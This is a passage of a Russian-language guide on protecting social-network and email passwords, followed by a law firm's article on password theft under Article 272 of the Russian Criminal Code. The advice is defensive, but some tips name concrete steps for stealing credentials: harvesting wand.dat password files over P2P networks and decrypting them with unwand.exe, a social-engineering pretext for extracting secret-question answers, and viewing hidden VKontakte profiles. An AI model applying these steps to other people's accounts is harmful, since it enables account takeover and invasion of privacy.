Ответы на другие вопросы можно банально выспросить у ваших друзей, завладев, например, вашим аккаунтом на вконтакте: «Что-то я подозреваю, что твой аккаунт взломали. Сейчас всех ломают. Докажи, что ты — это ты! Ну-ка скажи, какое мое любимое блюдо?».
_______________________________________________________________
Мораль: ответ на секретный вопрос должен быть действительно известен только вам, и никому больше. Даже вашему бойфренду — вдруг он захочет почитать вашу почту или отомстить? Удачная идея — писать вопрос «Какая девичья фамилия у моей матери?», а ответ — «двенадцать миллионов сорок две тысячи».


_______________________________________________________________
5. Мой компьютер — моя крепость.

Никто и никогда не должен получать доступ к вашему компьютеру. Поставьте пароль в BIOS на включение компьютера, на вход в вашу учетную запись Windows. Создайте отдельный аккаунт «Гость» с очень ограниченными правами и давайте его тем, кто хочет посидеть за вашим компьютером.


Чтобы украсть ваши пароли, достаточно просто заглянуть в браузер (в Firefox в окне настроек можно посмотреть все сохраненные пароли). А можно просто запустить с флэшки программу, которая за несколько секунд соберет вообще все пароли, какие только есть на вашем компьютере.
_______________________________________________________________
Мораль: за компьютер никого не пускать, а если пускать, то только как «гостя». Даже если отходите на минутку, нажимайте клавиши Win+L, чтобы заблокировать экран. Прежде чем отдать компьютер для настройки или в ремонт, удаляйте все сохраненные пароли. Пользуйтесь почтой Google — внизу страницы там есть ссылка «Last account activity», где можно посмотреть, кто, когда и откуда заходил в вашу почту.


_______________________________________________________________
6. Мойте руки после посещения туалета.

Если вы пользуетесь Интернетом в интернет-кафе или у знакомых, обязательно меняйте пароль и секретный вопрос сразу же, как только у вас появится доступ к безопасному Интернету.


При входе в почту гугла пишите не http://mail.google.com , а https://mail.google.com — пароль будет передаваться в зашифрованном виде. Но это нисколько не спасает вас от программ, которые незаметно записывают все нажатия на клавиши (т.н. «кейлоггеры», например, безобидный, казалось бы, Punto Switcher).


Помните, что люди, работающие в Интернет-кафе — это нередко одинокие и асоциальные компьютерщики, у которых почитать чужую почту или позабавиться от чужого имени — одно из немногих развлечений в жизни. Поэтому они рады будут заполучить ваш пароль.
_______________________________________________________________
Мораль: засветив свой пароль в общественном месте, немедленно поменяйте его, как только будет доступ к безопасному Интернету. Бойтесь общественных компьютеров и флэшек, побывавших в них.


_______________________________________________________________
7. Бесплатный вайфай. Бесплатная мышеловка.

Поставив точку бесплатного беспроводного (Wi-Fi) доступа к Интернету, особенно в каком-нибудь популярном или густонаселенном месте, можно очень быстро собрать кучу паролей тех, кто этой халявой воспользуется. То же касается анонимной сети Tor (если не знаете, что это, то и не надо).
_______________________________________________________________
Мораль: правила те же, что и с интернет-кафе: меняйте пароль при первой же возможности.


_______________________________________________________________
8. Файлообменные сети.

Когда вы устанавливаете себе программу для обмена файлами, например, eMule или DC++, вас просят указать те папки, которые будут доступны другим участникам. Нужно указать, например, папки с музыкой и фильмами. Но у вас на компьютере большая файлопомойка, и выбирать все папки лень, поэтому вы просто ставите галочку на диске C: и делаете его доступным всему интернету.


Запустите такую программу обмена файлами, введите в поиске, например, wand.dat — и вы сможете скачать файлы, в которых хранятся пароли нерадивых пользователей. Расшифровываются программой unwand.exe.
_______________________________________________________________
Мораль: пользуясь файлообменными сетями, делайте общедоступными только отдельные папки, а не весь диск.


_______________________________________________________________
9. Если ваша страница скрыта, это не значит, что никто не может просмотреть ваши фотографии и заметки.

Даже если вы скрыли свою страницу на vkontakte.ru от посторонних глаз, поставив доступ «только для друзей» или вообще «не показывать никому, удалить страницу», то все ваши фотоальбомы, заметки, друзей, группы, приложения и т. д. все равно можно будет посмотреть. (Кстати, удобно делать это с помощью браузера Firefox с дополнением Greasemonkey и скриптом vkPatch » http://vkontakte.ru/topic12969729)


Особенно опасно показывать всем ваш список друзей — злоумышленник может воспользоваться этим для выманивая сведений, денег, выяснения ваших данных и т. п.
_______________________________________________________________
Мораль: в настройках каждого фотоальбома выставляйте «только для друзей», в общих настройках приватности — не показывать список друзей никому.


_______________________________________________________________
10. Если у вас несколько e-mail`ов, не пользуйтесь функцией «мой дополнительный адрес».

Пример: в настройках одного емэйла вы указываете ваш другой емэйл. Завладев ящиком 1, злоумышленник нажимает «я забыл пароль» в ящике 2, получая на первый ссылку для изменения пароля ко второму.
_______________________________________________________________
Мораль: не вводите дополнительные адреса. На почте Яндекса укажите в настройках свой сотовый, и тогда злоумышленник, даже зная правильный ответ на секретный вопрос, будет бессилен — Яндекс пришлет код восстановления вам в виде sms.


_______________________________________________________________
Что делать, если пароль от вконтакте.ру или почты все же украли?

1. Не кормите тролля. Не общайтесь со злоумышленником, не пишите угроз и гневных писем — это лишь еще больше его раззадоривает.


2. Немедленно предупредите ваших знакомых и родственников о том, что ваш аккаунт был скомпрометирован. Злоумышленник, пользуясь вашими данными, может обмануть ваших близких, занять у них деньги или попросить пополнить счет от вашего имени, позвонить родителям и сказать, что с вами что-то случилось и нужно срочно заплатить, и т. д. Это не шутки, могут серьезно пострадать ваши знакомые.


3. Если вы видите, что аккаунт вашего знакомого украли — удалите из друзей, чтобы злоумышленник не получил доступа к телефонам и другим сведениям на вашей странице.


Разумеется, очевидно, что на вашем компьютере не должно быть вирусов и ваш пароль должен быть не из 6-7 символов — как минимум 10, лучше 12-14 цифр, букв и знаков (обязательно, иначе легко будет расшифровать/подобрать!).


И помните: если у вас нет паранои, это не значит, что за вами не следят. Если вам кажется, что ваши пароли и ваши данные никому не нужны, вы жестоко ошибаетесь.

Материал с сайта http://narkoseti.ru

Не все знают о том, что кража пароля в социальной сети либо на любом другом онлайн-ресурсе является уголовно наказуемым преступлением. Насколько реальна такая кража, какое наказание за нее может получить правонарушитель, и что делать, если вы стали жертвой, расскажем ниже.

Насколько реальна кража пароля Вконтакте?

Завладение паролем ВК вполне реально, такая кража может повлечь негативные последствия для владельца аккаунта. В интернете можно найти множество историй о том, как учетные записи взламывали с целью получения личной информации или распространения сведений, порочащих репутацию владельца.

Кражи осуществляются самыми разными способами:

  • при помощи фишинга: пользователь перенаправляется на ложную страницу сайта, где его просят ввести логин и пароль, которыми затем завладевают злоумышленники;
  • путем подбора комбинаций: этот способ действует в том случае, если пароль слишком простой;
  • в результате обманных действий со стороны знакомых или незнакомых людей (когда комбинацию просто подсмотрели в компьютере или смартфоне, пользуясь отсутствием владельца гаджета).

Обратите внимание!

Вне зависимости от способа действия злоумышленника являются уголовно наказуемыми. Состав преступления образуется по ст. 272 УК РФ (неправомерный доступ к компьютерной информации).

Что делать, если вас взломали?

Если вы стали жертвой взлома в социальной сети Вконтакте или в любой другой, то первое, что вам необходимо сделать, - это обратиться в службу поддержки с просьбой заблокировать аккаунт. Возможно, придется предоставить какие-то доказательства того, что именно вы являетесь владельцем профиля.

Если украденный пароль установлен еще где-то, будь то социальные сети, электронная почта и т.п., то необходимо обязательно поменять комбинации на всех остальных сервисах.

Обратите внимание!

Специалисты по компьютерной безопасности не рекомендуют устанавливать один и тот же пароль на разных сайтах, поскольку в подобных случаях злоумышленники, завладевшие одним аккаунтом, без труда смогут взломать и остальные.

Всех друзей, родственников и знакомых стоит предупредить о том, что ваш профиль был взломан. Злоумышленники могут попытаться рассылать от вашего имени различные сообщения, содержащие вредоносные ссылки или просьбы о помощи. Ваши друзья могут пострадать, если поверят и нажмут на ссылку либо перечислят деньги на указанный в сообщении счет или номер мобильного телефона.

Если действиями правонарушителя вам был причинен серьезный вред, то имеет смысл обратиться в правоохранительные органы. Для этого потребуется написать заявление в полицию, в котором должна содержаться просьба о привлечении злоумышленников к ответственности по ст. 272 УК РФ. Согласно этой статье неправомерный доступ будет уголовно наказуемым лишь в том случае, если информация была:

  • уничтожена;
  • заблокирована;
  • модифицирована;
  • скопирована.

Учитывая тот факт, что под блокированием подразумевается, в том числе, целенаправленное затруднение доступа законных пользователей к данным, кража пароля ВК подпадает под санкции ст. 272 УК РФ.

За подобные деяния предусмотрены следующие виды наказания:

  • штраф до 200 000 рублей (или в размере зарплаты правонарушителя за 18 месяцев);
  • исправительные работы на срок до 1 года;
  • ограничение свободы, принудительные работы или тюремное заключение на срок до 2 лет.

При рассмотрении дела суд будет решать, какое именно из перечисленных наказаний назначить. Оно будет зависеть, в том числе от степени вреда, причиненного владельцу аккаунта и иным лицам. Если был причинен крупный ущерб (на сумму более 1 000 000 рублей), то размер штрафа может возрасти до 300 000 рублей, а срок тюремного заключения - до 4 лет.

Обратите внимание!

Крупный ущерб может быть причинен в случае взлома аккаунта коммерческой фирмы. В подобных ситуациях речь может идти также и о защите деловой репутации, пострадавшей в результате действий злоумышленников.

Как обезопасить себя от кражи пароля?

Существуют вполне определенные и понятные правила того, как вести себя, чтобы защититься от кражи:

  • не используйте слишком простые комбинации, особенно состоящие из даты вашего рождения, имени и фамилии и т.п. Их очень просто взломать. Хорошо, если пароль будет состоять из набора бессвязных букв, цифр, нескольких знаков препинания;
  • не переходите по подозрительным ссылкам, не вводите свои данные на подозрительных сайтах;
  • не сохраняйте свои пароли на незнакомых устройствах, а лучше вообще никогда не сохраняйте их в браузерах;
  • старайтесь не заходить в свои аккаунты с публичных wi-fi сетей;
  • если это возможно, пользуйтесь хранилищем паролей наподобие KeePass.

Если вы уже стали жертвой злоумышленников, обратитесь за помощью к нашим юристам. Они помогут на всех этапах, начиная с составления и направления заявления в полицию и заканчивая судебным разбирательством. Звоните нам или оставляйте свое сообщение на сайте.